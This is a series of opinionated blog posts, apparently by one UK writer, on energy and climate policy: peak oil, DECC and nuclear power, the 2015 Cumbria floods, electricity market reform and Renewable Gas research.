But there's a problem with unconventional oils – or rather several – but the key one is the commodity price of oil, which has been low for many months, and has caused unconventional oil producers to rein in their operations. It's hitting conventional producers too. A quick check of Section 3 "Oil data : upstream" in OPEC's 2016 Annual Statistical Bulletin shows a worrying number of negative 2014 to 2015 change values – for example "Active rigs by country", "Wells completed in OPEC Members", and "Producing wells in OPEC Members".
But in the short term, it's the loss of uneconomic unconventional oil production that will hit hardest. Besides problems with operational margins for all forms of unconventionals, exceptional air temperatures (should we mention global warming yet ?) in the northern part of North America have contributed to a seizure in Canadian tar sands oil production – because of extensive wildfires.
Here's two charted summaries of the most recent data from the EIA on tight oil (which includes shale oil) and dry shale gas production in the United States – which is also suffering.
Once the drop in North American unconventionals begins to register in statistics for global total liquids production, some concern will probably be expressed. Peak Oil just might be sharper and harder and sooner than some people think.
Academic Freedom Assets not Liabilities Baseload is History British Biogas Burning Money Change Management Climate Change Conflict of Interest Cost Effective Divest and Survive Electrificandum Energy Autonomy Energy Change Energy Insecurity Engineering Marvel Green Investment Green Power Growth Paradigm National Energy National Power Nuclear Nuisance Nuclear Shambles Optimistic Generation Paradigm Shapeshifter Peak Nuclear Political Nightmare Public Relations Regulatory Ultimatum Renewable Gas Revolving Door Solar Sunrise Solution City Stirring Stuff Wind of Fortune Zero Net
New Hands on DECC
No Comments on New Hands on DECC
So, the Department of Energy and Climate Change (DECC) have a new top dog – Alex Chisholm – formerly the attack beast in charge of putting pressure on the electricity utility companies over their pricing rip-offs when at the Competition and Markets Authority (CMA).
There's a huge and dirty intray awaiting this poor fellow, including the demonstrable failings of the Energy Act that's just been signed into law. I'd recommend that he call for the immediate separation of the department into two distinct and individually funded business units : Nuclear and The Rest. Why ? Because nuclear power in the UK has nothing to do with answering the risk of climate change, despite some public relations type people trying to assert its "low carbon" status. Plus, the financial liabilities of the nuclear section of DECC mean it's just going to bring the rest of the department down unless there's a divorce.
The UK Government have been pursuing new fission nuclear power with reams of policy manoeuvres. The call for new nuclear power is basically a tautological argument centring on a proposal to transition to meet all energy demand by power generation resources, and the presumption of vastly increasing energy independence. If you want to convert all heating and cooling and transport to electricity, and you want to have few energy imports, then you will need to have a high level of new nuclear power. If new nuclear power can be built, it will generate on a consistent basis, and so, to gain the benefit of self-sufficiency, you will want to transfer all energy demand to electricity. Because you assume that you will have lots of new nuclear power, you need to have new nuclear power. It's a tautology. It doesn't necessarily mean it's a sensible or even practical way to proceed.
DECC evolved mostly from the need to have a government department exclusively involved in the decommissioning of old nuclear power plants and the disposal of radioactive nuclear power plant waste and waste nuclear fuel. The still existing fleet of nuclear power plants is set to diminish as leaking, creaking, cracking and barely secure reactors and their unreliable steam generation equipment need to be shut down. At which point, this department will lose its cachet of being an energy provider and start to be merely an energy user and cash consumer – since there's not enough money in the pot for essential decommissioning and disposal and DECC will need to go cap in hand to the UK Treasury for the next few decades to complete its core mission of nuclear decommissioning. It doesn't take too much of a stretch of the imagination to figure out why this department will remain committed to the concept of new nuclear power. It would certainly justify the continuing existence of the department.
The flagship DECC-driven nuclear power project for Hinkley Point C has run aground on a number of sharp issues – including the apparent financial suicide of the companies set to build it, the probably illegal restructuring loans and subsidy arrangements that various governments have made, what appears to be the outright engineering incompetency of the main construction firm, and the sheer waste of money involved. It would be cheaper by around 50% to 70% to construct lots of new wind power and some backup gas-fired power generation plant – and could potentially be lower carbon in total – especially if the gas is manufactured low carbon gas.
In order to stand a chance of making any new low carbon energy investment in the UK, the Department of Energy and Climate Change needs to split – much like the banks have. The risky, nuclear stuff in one team, and the securely certainly advantageous renewable energy stuff in the other team. We will have more wind power, more solar power and more of lots of other renewables in the next 10 years. We are unlikely to see an increase in nuclear power generation in the UK for the next 15. It's time to split these business units to protect our chances of successful energy investment.
Academic Freedom Advancing Africa Assets not Liabilities Babykillers Bad Science Big Society Carbon Commodities Change Management Dead End Delay and Deny Demoticratica Dreamworld Economics Economic Implosion Energy Autonomy Energy Calculation Energy Change Energy Crunch Energy Denial Energy Insecurity Energy Revival Energy Socialism Engineering Marvel Foreign Interference Foreign Investment Fossilised Fuels Freak Science Freemarketeering Freshwater Stress Grid Netmare Growth Paradigm Hydrocarbon Hegemony Insulation Mad Mad World Mass Propaganda Modern Myths Money Sings No Pressure Optimistic Generation Paradigm Shapeshifter Peak Coal Peak Energy Peak Natural Gas Peak Nuclear Peak Oil Peak Uranium Realistic Models Renewable Resource Resource Curse Resource Wards Science Rules Scientific Fallacy Social Democracy Solar Sunrise Solution City Stirring Stuff Technofix Technological Fallacy The Data The Myth of Innovation The Right Chemistry The Science of Communitagion The War on Error Unutterably Useless Utter Futility Vain Hope Water Wars Western Hedge Wind of Fortune Zero Net
The Lies That You Choose
No Comments on The Lies That You Choose
I have had the great fortune to meet another student of the Non-Science of Economics who believes most strongly that Energy is only a sub-sector of the Holy Economy, instead of one of its foundations, and doesn't understand why issues with the flow of commodities (which include energy resources) into the system is critical to the survival of the global economy, and that the growth in the Services Industries and Knowledge Economy cannot compensate for the depletion of freshwater, fossil fuels and other raw resources.
This person believes in Technology, as if it can fly by itself, without seeming to understand how Technological Innovation is really advanced by state investment – a democracy of focus. This otherwise intelligent learner has also failed to grasp, apparently, that the only way that the Economy can grow in future is through investment in things with real value, such as Energy, especially where this investment is essential owing to decades of under-investment precipitated by privatisation – such as in Energy – investment in both networks of grids or pipes, and raw resources. And this from somebody who understands that developing countries are being held back by land grab and natural resource privatisation – for example ground water; and that there is no more money to be made from property investment, as the market has boomed and blown.
How to burst these over-expanded false value bubbles in the mind ? When I try to talk about the depletion of natural resources, and planetary boundaries, people often break eye contact and stare vacantly out of the nearest window, or accept the facts, but don't see the significance of them. Now this may be because I'm not the best of communicators, or it may be due to the heavy weight of propaganda leading to belief in the Magical Unrealism always taught in Economics and at Business Schools.
Whatever. This is where I'm stuck in trying to design a way to talk about the necessity of energy transition – the move from digging up minerals to catching the wind, sunlight and recycling gases. If I say, "Look, ladies and laddies, fossil fuels are depleting", the audience will respond with "where there's a drill, there's a way". As if somehow the free market (not that a free market actually exists), will somehow step up and provide new production and new resources, conjuring them from somewhere.
What are arguments that connect the dots for people ? How to demonstrate the potential for a real peak in oil, gas, coal and uranium production ? I think I need to start with a basic flow analysis. On the one side of the commodity delivery pipeline, major discoveries have decreased, and the costs of discovery have increased. The hidden underbelly of this is that tapping into reservoirs and seams has a timeline to depletion – the point at which the richness of the seam is degraded significantly, and the initial pressure in the well or reservoir is reduced to unexploitable levels – regardless of the technology deployed. On the other end of the commodities pipeline is the measure of consumption – and most authorities agree that the demand for energy will remain strong. All these factors add up to a time-limited game.
Oh, you can choose to believe that everything will continue as it always seems to have. But the Golden Age of Plenty is drawing to a close, my friend.
Academic Freedom Arctic Amplification Bait & Switch Be Prepared Big Number Big Picture Big Society Burning Money Change Management Climate Change Climate Damages Delay and Deny Delay and Distract Demoticratica Disturbing Trends Engineering Marvel Environmental Howzat Extreme Weather Financiers of the Apocalypse Floodstorm Global Warming Hide the Incline Human Nurture Incalculable Disaster Major Shift Mass Propaganda Media Modern Myths Paradigm Shapeshifter Policy Warfare Political Nightmare Price Control Rainstorm Realistic Models Regulatory Ultimatum Social Change Social Chaos Stirring Stuff The Data The War on Error Water Wars Western Hedge Wind of Fortune
Cumbria Floods : Climate Defenceless
No Comments on Cumbria Floods : Climate Defenceless
I fully expect the British Prime Minister, David Cameron, will be more than modicum concerned about public opinion as the full toll of damage to property, businesses, farmland and the loss of life in Cumbria of the December 2015 floods becomes clear. The flooding in the Somerset Levels in the winter of 2013/2014 led to strong public criticism of the government's management of and investment in flood defences.
The flood defences that were improved in Cumbria after the rainstorm disaster of 2009 were in some cases completely ineffective against the 2015 deluge. It appears that the high water mark at some places in Cumbria was higher in the 2015 floods than ever recorded previously, but that cannot be used as David Cameron's get-out-of-jail-free clause. These higher flood levels should have been anticipated as a possibility.
However, the real problem is not the height of flooding, but the short recurrence time. Flood defences are designed in a way that admits to a sort of compromise calculus. Measurements from previous floods are used to calculate the likelihood of water levels breaching a particular height within a number of years – for example, a 1-in-20 year flood, or a 1-in-200 year flood. The reinforced flood defences in Cumbria were designed to hold back what was calculated to be something like a 1-in-100 year flood. It could be expected that if within that 100 years, other serious but not overwhelming flooding took place, there would be time for adaptation and restructuring of the defences. However, it has taken less than 10 years for a 1-in-100 year event to recur, and so no adaptation has been possible.
This should suggest to us two possibilities : either the Environment Agency is going about flood defences the wrong way; or the odds for the 1-in-100 year flood should be reset at 1-in-10-or-so years – in other words, the severity profile of flooding is becoming worse – stronger flooding is more frequent – which implies acceptance of climate change.
The anti-science wing of the Conservative Party were quick to construct a campaign against the Environment Agency in the South West of England in early 2014 – distracting people from asking the climate change question. But this time, I think people might be persuaded that they need to consider climate change as being a factor.
Placing the blame for mismanagement of the Somerset Levels at the door of the Environment Agency saved David Cameron's skin in 2014, but I don't think he can use that device a second time. People in Cockermouth are apparently in disbelief about the 2015 flooding. They have barely had time to re-establish their homes and lives before Christmas has been cancelled again for another year.
Will the Prime Minister admit to the nation that climate change is potentially a factor in this 2015 waterborne disaster ?
I remember watching in in credulity as the BBC showed the restoration of Cockermouth back in 2010 – it was either Songs of Praise or Countryfile – I forget which. The BBC were trying to portray a town getting back to normal. I remember asking myself – but what if climate change makes this happen again ? What then ? Will the BBC still be mollifying its viewers, lulling them back into a false sense of security about the risks of severe climate change ? What if there is no "normal" to get back to any more ? Is this partly why the Meteorological Office has decided to name winter storms ?
Can future climate-altered floods be escaped – or are the people of Britain to remain defenceless ?
Academic Freedom Assets not Liabilities Baseload is History Be Prepared Big Number Big Picture Burning Money Carbon Commodities Carbon Pricing Change Management Corporate Pressure Cost Effective Demoticratica Design Matters Direction of Travel Dreamworld Economics Economic Implosion Efficiency is King Electrificandum Energy Change Energy Crunch Energy Insecurity Energy Revival Engineering Marvel Freemarketeering Green Investment Green Power Grid Netmare Hydrocarbon Hegemony National Energy National Power Nuclear Nuisance Nuclear Shambles Nudge & Budge Optimistic Generation Paradigm Shapeshifter Policy Warfare Political Nightmare Price Control Regulatory Ultimatum
The Great Policy Reset
No Comments on The Great Policy Reset
Everything in the UK world of energy hit a kind of slow-moving nightmare when the Department of Energy and Climate Change stopped replying to emails a few months ago, claiming they were officially ordered to focus on the "Spending Review" – as known as "The Cuts" – as ordered by George Osborne, Chancellor of Her Majesty's Treasury.
We now know that this purdah will be terminated on 25th November 2015, when various public announcements will be made, and whatever surprises are in store, one thing is now for certain : all grapevines have been repeating this one word regarding British energy policy : "reset".
Some are calling it a "soft reset". Some are predicting the demise of the entire Electricity Market Reform, and all its instruments – which would include the Capacity Auction and the Contracts for Difference – which would almost inevitably throw the new nuclear power ambition into a deep dark forgettery hole.
A report back from a whispering colleague regarding the Energy Utilities Forum at the House of Lords on 4th November 2015 included these items of interest :-
"…the cost of battery power has dropped to 10% of its value of a few years ago. National Grid has a tender out for micro-second response back up products – everyone assumes this is aimed at batteries but they are agnostic … There will be what is called a "soft reset" in the energy markets announced by the government in the next few weeks – no one knows what this means but obviously yet more tinkering with regulations … On the basis that diesel fuel to Afghanistan is the most expensive in the world (true), it has to be flown in, it has been seriously proposed to fly in Small Modular Nuclear reactors to generate power. What planet are these people living on I wonder ? … A lot more inter connectors are being planned to UK from Germany, Belgium Holland and Norway I think taking it up to 12 GWe … "
Alistair Phillips-Davies, the CEO of SSE (Scottish and Southern Energy), took part in a panel discussion at Energy Live News on 5th November 2015, in which he said that he was expecing a "reset" on the Electricity Market Reform (EMR), and that the UK Government were apparently focussing on consumers and robust carbon pricing. One view expressed was that the EMR could be moved away from market mechanisms. In other discussions, it was mentioned that the EMR Capacity Market Auction had focussed too much on energy supply, and that the second round would see a wider range of participants – including those offering demand side solutions.
Energy efficiency, and electricity demand profile flattening, were still vital to get progress on, as the power grid is going to be more efficient if it can operate within a narrower band of demand – say 30 to 40 GW daily, rather than the currently daily swing of 20 to 50 GW. There was talk of offering changing flexible, personal tariffs to smooth out the 5pm 17:00 power demand peak, as price signalling is likely to be the only way to make this happen, and comments were made about how many computer geeks would be needed to analyse all the power consumption data.
The question was asked whether the smart meter rollout could have the same demand smoothing effect as the Economy 7 tariff had in the past.
The view was expressed that the capacity market had not provided enough by way of long-term price signals – particularly for investment in low carbon energy. One question raised during the day was whether it wouldn't be better just to set a Europe-wide price on carbon and then let markets and the energy industry decide what to put in place ?
So, in what ways could the British Government "reset" the Electricity Market Reform instruments in order to get improved results – better for pocket, planet and energy provision ? This is what I think :-
1. Keep the Capacity Mechanism for gas
The Capacity Mechanism was originally designed to keep efficient gas-fired power plants (combined cycle gas turbine, or CCGT) from closing, and to make sure that new ones were built. In the current power generation portfolio, more renewable energy, and the drive to push coal-fired power plants to their limits before they need to be closed, has meant that gas-fired generation has been sidelined, kept for infrequent use. This has damaged the economics of CCGT, both to build and to operate. This phenomenon has been seen all across Europe, and the Capacity Market was supposed to fix this. However, the auction was opened to all current power generators as well as investors in new plant, so inevitably some of the cash that was meant for gas has been snaffled up by coal and nuclear.
2. Deflate strike prices after maximum lead time to generation
No Contracts for Difference should be agreed without specifying a maximum lead time to initial generation. There is no good reason why nuclear power plants, for example, that are anticipated to take longer than 5 years to build and start generating should be promised fixed power prices – indexed to inflation. If they take longer than that to build, the power prices should be degressed for every year they are late, which should provide an incentive to complete the projects on time. These projects with their long lead times and uncertain completion dates are hogging all the potential funds for investment, and this is leading to inflexibility in planning.
3. Offer Negative Contracts for Difference
To try to re-establish a proper buildings insulation programme of works, projects should be offered an incentive in the form of contracts-for-energy-savings – in other words, aggregated heat savings from any insulation project should be offered an investment reward related to the size of the savings. This will not be rewarding energy production, but energy use reduction. Any tempering of gas demand will improve the UK's balance of payments and lead to a healthier economy.
4. Abandon all ambition for carbon pricing
Trends in energy prices are likely to hold surprises for some decades to come. To attempt to set a price on carbon, as an aid to incentivising low carbon energy investment is likely to fail to set an appropriate investment differential in this environment of general energy pricing volatility. That is : the carbon price would be a market signal lost in a sea of other effects. Added to which, carbon costs are likely to be passed on to energy consumers before they would affect the investment decisions of energy companies.
Academic Freedom Alchemical Assets not Liabilities Baseload is History Be Prepared Big Number Big Picture Bioeffigy Biofools Biomess British Biogas Burning Money Carbon Capture Carbon Commodities Carbon Pricing Carbon Recycling Carbon Taxatious Change Management Coal Hell Corporate Pressure Cost Effective Design Matters Direction of Travel Dreamworld Economics Efficiency is King Electrificandum Emissions Impossible Energy Autonomy Energy Change Energy Insecurity Energy Revival Energy Socialism Engineering Marvel Foreign Investment Fossilised Fuels Gamechanger Gas Storage Geogingerneering Green Gas Green Investment Green Power Grid Netmare Growth Paradigm Hydrocarbon Hegemony Hydrogen Economy Insulation Low Carbon Life Marine Gas Methane Management National Energy National Power Natural Gas Nuclear Nuisance Nuclear Shambles Oil Change Optimistic Generation Paradigm Shapeshifter Peak Natural Gas Petrolheads Policy Warfare Political Nightmare Price Control Public Relations Realistic Models Regulatory Ultimatum Renewable Gas Shale Game Solar Sunrise Solution City Technofix Technomess The Power of Intention The Price of Gas The Right Chemistry Tree Family Unconventional Foul Ungreen Development Unnatural Gas Wasted Resource Wind of Fortune Zero Net
A Partial Meeting of Engineering Minds
No Comments on A Partial Meeting of Engineering Minds
So I met somebody last week, at their invitation, to talk a little bit about my research into Renewable Gas.
I can't say who it was, as I didn't get their permission to do so. I can probably (caveat emptor) safely say that they are a fairly significant player in the energy engineering sector.
I think they were trying to assess whether my work was a bankable asset yet, but I think they quickly realised that I am nowhere near a full proposal for a Renewable Gas system.
Although there were some technologies and options over which we had a meeting of minds, I was quite disappointed by their opinions in connection with a number of energy projects in the United Kingdom.
Click to Read More ! "A Partial Meeting of Engineering Minds"
Academic Freedom Alchemical Artistic Licence Assets not Liabilities Bait & Switch Baseload is History Big Number Big Picture British Biogas Burning Money Carbon Recycling Change Management Cost Effective Dead End Design Matters Direction of Travel Disturbing Trends Dreamworld Economics Efficiency is King Electrificandum Emissions Impossible Energy Autonomy Energy Calculation Energy Change Energy Insecurity Energy Revival Engineering Marvel Gamechanger Gas Storage Green Gas Green Investment Green Power Growth Paradigm Hydrocarbon Hegemony Hydrogen Economy Nuclear Nuisance Nuclear Shambles Optimistic Generation Policy Warfare Political Nightmare Price Control Realistic Models Renewable Gas Solar Sunrise Solution City Technofix Technological Fallacy Technological Sideshow The Data The Power of Intention The Right Chemistry The War on Error Wasted Resource Wind of Fortune Zero Net
Nuclear Power Is Not An Energy Policy
No Comments on Nuclear Power Is Not An Energy Policy
The British Government do not have an energy policy. They may think they have one, and they may regularly tell us that they have one, but in reality, they don't. There are a number of elements of regulatory work and market intervention that they are engaged with, but none of these by itself is significant enough to count as a policy for energy. Moreover, all of these elements taken together do not add up to energy security, energy efficiency, decarbonisation and affordable energy.
What it takes to have an energy policy is a clear understanding of what is a realistic strategy for reinvestment in energy after the dry years of privatisation, and a focus on energy efficiency, and getting sufficient low carbon energy built to meet the Carbon Budget on time. Current British Government ambitions on energy are not realistic, will not attract sufficient investment, will not promote increased energy efficiency and will not achieve the right scale and speed of decarbonisation.
I'm going to break down my critique into a series of small chunks. The first one is a quick look at the numbers and outcomes arising from the British Government's obsessive promotion of nuclear power, a fantasy science fiction that is out of reach, not least because the industry is dog-tired and motheaten.
Click to Read More ! "Nuclear Power Is Not An Energy Policy"
Academic Freedom Alchemical Assets not Liabilities Be Prepared Big Number Big Picture British Biogas Carbon Capture Carbon Commodities Carbon Pricing Carbon Recycling Climate Change Coal Hell Conflict of Interest Corporate Pressure Delay and Deny Demoticratica Divest and Survive Dreamworld Economics Efficiency is King Emissions Impossible Energy Calculation Energy Change Energy Denial Energy Revival Engineering Marvel Environmental Howzat Extreme Energy Financiers of the Apocalypse Fossilised Fuels Freemarketeering Gamechanger Geogingerneering Green Gas Green Investment Green Power Hydrocarbon Hegemony Hydrogen Economy Low Carbon Life Major Shift Mass Propaganda Modern Myths Natural Gas Not In My Name Nudge & Budge Paradigm Shapeshifter Peak Emissions Policy Warfare Political Nightmare Price Control Protest & Survive Public Relations Pure Hollywood Realistic Models Regulatory Ultimatum Renewable Gas Renewable Resource Social Capital Solar Sunrise Solution City Sustainable Deferment Tarred Sands Technofix Technological Sideshow The Power of Intention The Price of Gas The Price of Oil The Right Chemistry The Science of Communitagion Unconventional Foul Ungreen Development Wasted Resource Western Hedge Wind of Fortune Zero Net
Shell's Public Relations Offensive #2
No Comments on Shell's Public Relations Offensive #2
And so it has begun – Shell's public relations offensive ahead of the 2015 Paris climate talks. The substance of their "advocacy" – and for a heavyweight corporation, it's less lobbying than badgering – is that the rest of the world should adapt. Policymakers should set a price on carbon, according to Shell. A price on carbon might make some dirty, polluting energy projects unprofitable, and there's some value in that. A price on carbon might also stimulate a certain amount of Carbon Capture and Storage, or CCS, the capturing and permanent underground sequestration of carbon dioxide at large mines, industrial plant and power stations. But how much CCS could be incentivised by pricing carbon is still unclear. Egging on the rest of the world to price carbon would give Shell the room to carry on digging up carbon and burning it and then capturing it and burying it – because energy prices would inevitably rise to cover this cost. Shell continues with the line that they started in the 1990s – that they should continue to dig up carbon and burn it, or sell it to other people to burn, and that the rest of the world should continue to pay for the carbon to be captured and buried – but Shell has not answered a basic problem. As any physicist could tell you, CCS is incredibly energy-inefficient, which makes it cost-inefficient. A price on carbon wouldn't solve that. It would be far more energy-efficient, and therefore cost-efficient, to either not dig up the carbon in the first place, or, failing that, recycle carbon dioxide into new energy. Shell have the chemical prowess to recycle carbon dioxide into Renewable Gas, but they are still not planning to do it. They are continuing to offer us the worst of all possible worlds. They are absolutely right to stick to their "core capabilities" – other corporations can ramp up renewable electricity such as wind and solar farms – but Shell does chemistry, so it is appropriate for them to manufacture Renewable Gas. They are already using most of the basic process steps in their production of synthetic crude in Canada, and their processing of coal and biomass in The Netherlands. They need to join the dots and aim for Renewable Gas. This will be far less expensive, and much more efficient, than Carbon Capture and Storage. The world does not need to shoulder the expense and effort of setting a price on carbon. Shell and its fellow fossil fuel companies need to transition out to Renewable Gas.
Academic Freedom Acid Ocean Alchemical Assets not Liabilities Be Prepared Big Picture British Biogas Carbon Capture Carbon Commodities Carbon Pricing Carbon Taxatious Change Management Climate Change Conflict of Interest Corporate Pressure Delay and Deny Direction of Travel Energy Autonomy Energy Change Energy Denial Energy Revival Engineering Marvel Fossilised Fuels Gas Storage Green Gas Green Investment Green Power Growth Paradigm Hydrocarbon Hegemony Hydrogen Economy Low Carbon Life Methane Management Modern Myths National Energy National Power Natural Gas No Blood For Oil Non-Science Nuclear Nuisance Nuclear Shambles Oil Change Optimistic Generation Paradigm Shapeshifter Policy Warfare Political Nightmare Protest & Survive Realistic Models Regulatory Ultimatum Renewable Gas Renewable Resource Science Rules Shale Game Solution City Stirring Stuff Sustainable Deferment Technofix The Data The Power of Intention The Price of Gas The Price of Oil The Right Chemistry Vote Loser Wasted Resource Zero Net
Zero Careers In Plainspeaking
1 Comment on Zero Careers In Plainspeaking
There are many ways to make a living, but there appear to be zero careers in plainspeaking.
I mean, who could I justify working with, or for ? And would any of them be prepared to accept me speaking my mind ?
Much of what I've been saying over the last ten years has been along the lines of "that will never work", but people generally don't get consulted or hired for picking holes in an organisation's pet projects or business models.
Could I imagine myself taking on a role in the British Government ? Short answer : no.
The slightly longer answer : The British Government Department of Energy and Climate Change (DECC) ? No, they're still hooked on the failed technology of nuclear power, the stupendously expensive and out-of-reach Carbon Capture and Storage (CCS), and the mythical beast of shale gas. OK, so they have a regular "coffee club" about Green Hydrogen (whatever that turns out to be according to their collective ruminations), and they've commissioned reports on synthetic methane, but I just couldn't imagine they're ever going to work up a serious plan on Renewable Gas. The British Government Department for Transport ? No, they still haven't adopted a clear vision of the transition of the transport sector to low carbon energy. They're still chipping away at things instead of coming up with a strategy.
Could I imagine myself taking on a role with a British oil and gas multinational ? Short and very terse and emphatic answer : no.
The extended answer : The oil and gas companies have had generous support and understanding from the world's governments, and are respected and acclaimed. Yet they are in denial about "unburnable carbon" assets, and have dismissed the need for Energy Change that is the outcome of Peak Oil (whether on the supply or the demand side). Sneakily, they have also played both sides on Climate Change. Several major oil and gas companies have funded or in other ways supported Climate Change science denial. Additionally, the policy recommendations coming from the oil and gas companies are what I call a "delayer's game". For example, BP continues to recommend the adoption of a strong price on carbon, yet they know this would be politically unpalatable and take decades (if ever) to bring into effect. Shell continues to argue for extensive public subsidy support for Carbon Capture and Storage (CCS), knowing this would involve such huge sums of money, so it's never going to happen, at least not for several decades. How on Earth could I work on any project with these corporations unless they adopt, from the centre, a genuine plan for transition out of fossil fuels ? I'm willing to accept that transition necessitates the continued use of Natural Gas and some petroleum for some decades, but BP and Royal Dutch Shell do need to have an actual plan for a transition to Renewable Gas and renewable power, otherwise I would be compromising everything I know by working with them.
Could I imagine myself taking on a role with a large engineering firm, such as Siemens, GE, or Alstom, taking part in a project on manufactured low carbon gas ? I suppose so. I mean, I've done an IT project with Siemens before. However, they would need to demonstrate that they are driving for a Renewable Gas transition before I could join a gas project with them. They might not want to be so bold and up-front about it, because they could risk the wrath of the oil and gas companies, whose business model would be destroyed by engineered gas and fuel solutions.
Could I imagine myself building fuel cells, or designing methanation catalysts, or improving hydrogen production, biocoke/biocoal manufacture or carbon dioxide capture from the oceans… with a university project ? Yes, but the research would need to be funded by companies (because all applied academic research is funded by companies) with a clear picture on Energy Change and their own published strategy on transition out of fossil fuels.
Could I imagine myself working on rolling out gas cars, buses and trucks ? Yes. The transition of the transport sector is the most difficult problem in Energy Change. However, apart from projects that are jumping straight to new vehicles running entirely on Hydrogen or Natural Gas, the good options for transition involve converting existing diesel engine vehicles to running mostly on Natural Gas, such as "dual fuel", still needing roughly 20% of liquid diesel fuel for ignition purposes. So I would need to be involved with a project that aims to supply biodiesel, and have a plan to transition from Natural Gas to Renewable Gas.
Could I imagine myself working with a team that has extensive computing capabilities to model carbon dioxide recycling in power generation plant ? Yes.
Could I imagine myself modelling the use of hydrogen in petroleum refinery, and making technological recommendations for the oil and gas industry to manufacture Renewable Hydrogen ? Possibly. But I would need to be clear that I'm doing it to enable Energy Change, and not to prop up the fossil fuel paradigm – a game that is actually already bust and needs helping towards transition.
Could I imagine myself continuing to research the growth in Renewable Gas – both Renewable Hydrogen and Renewable Methane – in various countries and sectors ? Possibly. It's my kind of fun, talking to engineers.
But whatever future work I consider myself doing, repeatedly I come up against this problem – whoever asked me to work with them would need to be aware that I do not tolerate non-solutions. I will continue to say what doesn't work, and what cannot work.
If people want to pay me to tell them that what they're doing isn't working, and won't work, then fine, I'll take the role.
I'd much rather stay positive, though, and forge a role where I can promote the things that do work, can work and will work.
The project that I'm suitable for doesn't exist yet, I feel. I'm probably going to continue in one way or another in research, and after that, since I cannot see a role that I could fit easily or ethically, I can see I'm going to have to write my own job description.
Academic Freedom Alchemical Baseload is History Be Prepared Big Number Big Picture Big Society British Biogas Change Management Climate Change Dead End Demoticratica Dreamworld Economics Efficiency is King Electrificandum Energy Autonomy Energy Change Energy Insecurity Energy Revival Engineering Marvel Fossilised Fuels Green Gas Green Investment Green Power Hydrocarbon Hegemony Methane Management National Energy National Power Natural Gas Nuclear Nuisance Nuclear Shambles Optimistic Generation Paradigm Shapeshifter Policy Warfare Political Nightmare Realistic Models Regulatory Ultimatum Renewable Gas Solution City Technofix The Data The Power of Intention The Right Chemistry
Renewable Gas : A Presentation #1
No Comments on Renewable Gas : A Presentation #1
Last week, on the invitation of Dr Paul Elsner at Birkbeck, University of London, I gave a brief address of my research so far into Renewable Gas to this year's Energy and Climate Change class, and asked and answered lots of questions before demolishing the mythical expert/student hierarchy paradigm – another incarnation of the "information deficit model", perhaps – and proposed everyone work in breakout groups on how a transition from fossil fuel gas to Renewable Gas could be done.
A presentation of information was important before discussing strategies, as we had to cover ground from very disparate disciplines such as chemical process engineering, the petroleum industry, energy statistics, and energy technologies, to make sure everybody had a foundational framework. I tried to condense the engineering into just a few slides, following the general concept of UML – Unified Modelling Language – keeping everything really simple – especially as processing, or work flow (workflow) concepts can be hard to describe in words, so diagrams can really help get round the inevitable terminology confusions.
But before I dropped the class right into chemical engineering, I thought a good place to start would be in numbers, and in particular the relative contributions to energy in the United Kingdom from gas and electricity. Hence the first slide.
The first key point to notice is that most heat demand in the UK in winter is still provided by Natural Gas, whether Natural Gas in home boilers, or electricity generated using Natural Gas.
The second is that heat demand in energy terms is much larger than power demand in the cold months, and much larger than both power and heat demand in the warm months.
The third is that power demand when viewed on annual basis seems pretty regular (despite the finer grain view having issues with twice-daily peaks and weekday demand being much higher than weekends).
The reflection I gave was that it would make no sense to attempt to provide all that deep winter heat demand with electricity, as the UK would need an enormous amount of extra power generation, and in addition, much of this capacity would do nothing for most of the rest of the year.
The point I didn't make was that nuclear power currently provides – according to official figures – less than 20% of UK electricity, however, this works out as only 7.48% of total UK primary energy demand (DUKES, 2014, Table 1.1.1, Mtoe basis). The contribution to total national primary energy demand from Natural Gas by contrast is 35.31%. The generation from nuclear power plants has been falling unevenly, and the plan to replace nuclear reactors that have reached their end of life is not going smoothly. The UK Government Department of Energy and Climate Change have been pushing for new nuclear power, and project that all heating will convert to electricity, and that nuclear power will provide for much of this (75 GW by 2050). But if their plan relies on nuclear power, and nuclear power development is unreliable, it is hard to imagine that it will succeed.
Academic Freedom Advertise Freely Alchemical Assets not Liabilities Be Prepared Behaviour Changeling Big Number Biofools British Biogas Burning Money Carbon Capture Carbon Commodities Carbon Pricing Carbon Taxatious Change Management Climate Change Conflict of Interest Corporate Pressure Cost Effective Dead End Delay and Deny Divest and Survive Divide & Rule Dreamworld Economics Drive Train Economic Implosion Efficiency is King Emissions Impossible Energy Calculation Energy Change Energy Crunch Energy Denial Energy Insecurity Energy Revival Engineering Marvel Evil Opposition Extreme Energy Financiers of the Apocalypse Fossilised Fuels Freemarketeering Gamechanger Geogingerneering Global Warming Green Gas Green Power Hydrocarbon Hegemony Hydrogen Economy Insulation Low Carbon Life Mad Mad World Major Shift Mass Propaganda Methane Management Money Sings National Energy National Power Natural Gas Nuclear Shambles Oil Change Optimistic Generation Orwells Paradigm Shapeshifter Peak Coal Peak Emissions Policy Warfare Political Nightmare Price Control Public Relations Realistic Models Regulatory Ultimatum Renewable Gas Renewable Resource Revolving Door Shale Game Solution City Stirring Stuff The Data The Power of Intention The Right Chemistry The Science of Communitagion The War on Error Unnatural Gas Unutterably Useless Utter Futility Vain Hope Voluntary Behaviour Change Vote Loser Western Hedge
Only Just Getting Started
No Comments on Only Just Getting Started
In the last couple of years I have researched and written a book about the technologies and systems of Renewable Gas – gas energy fuels that are low in net carbon dioxide emissions. From what I have learned so far, it seems that another energy world is possible, and that the transition is already happening. The forces that are shaping this change are not just climate or environmental policy, or concerns about energy security. Renewable Gas is inevitable because of a range of geological, economic and industrial reasons.
I didn't train as a chemist or chemical process engineer, and I haven't had a background in the fossil fuel energy industry, so I've had to look at a number of very basic areas of engineering, for example, the distillation and fractionation of crude petroleum oil, petroleum refinery, gas processing, and the thermodynamics of gas chemistry in industrial-scale reactors. Why did I need to look at the fossil fuel industry and the petrochemical industry when I was researching Renewable Gas ? Because that's where a lot of the change can come from. Renewable Gas is partly about biogas, but it's also about industrial gas processes, and a lot of them are used in the petrorefinery and chemicals sectors.
In addition, I researched energy system technologies. Whilst assessing the potential for efficiency gains in energy systems through the use of Renewable Electricity and Renewable Gas, I rekindled an interest in fuel cells. For the first time in a long time, I began to want to build something – a solid oxide fuel cell which switches mode to an electrolysis unit that produces hydrogen from water. Whether I ever get to do that is still a question, but it shows how involved I'm feeling that I want to roll up my sleeves and get my hands dirty.
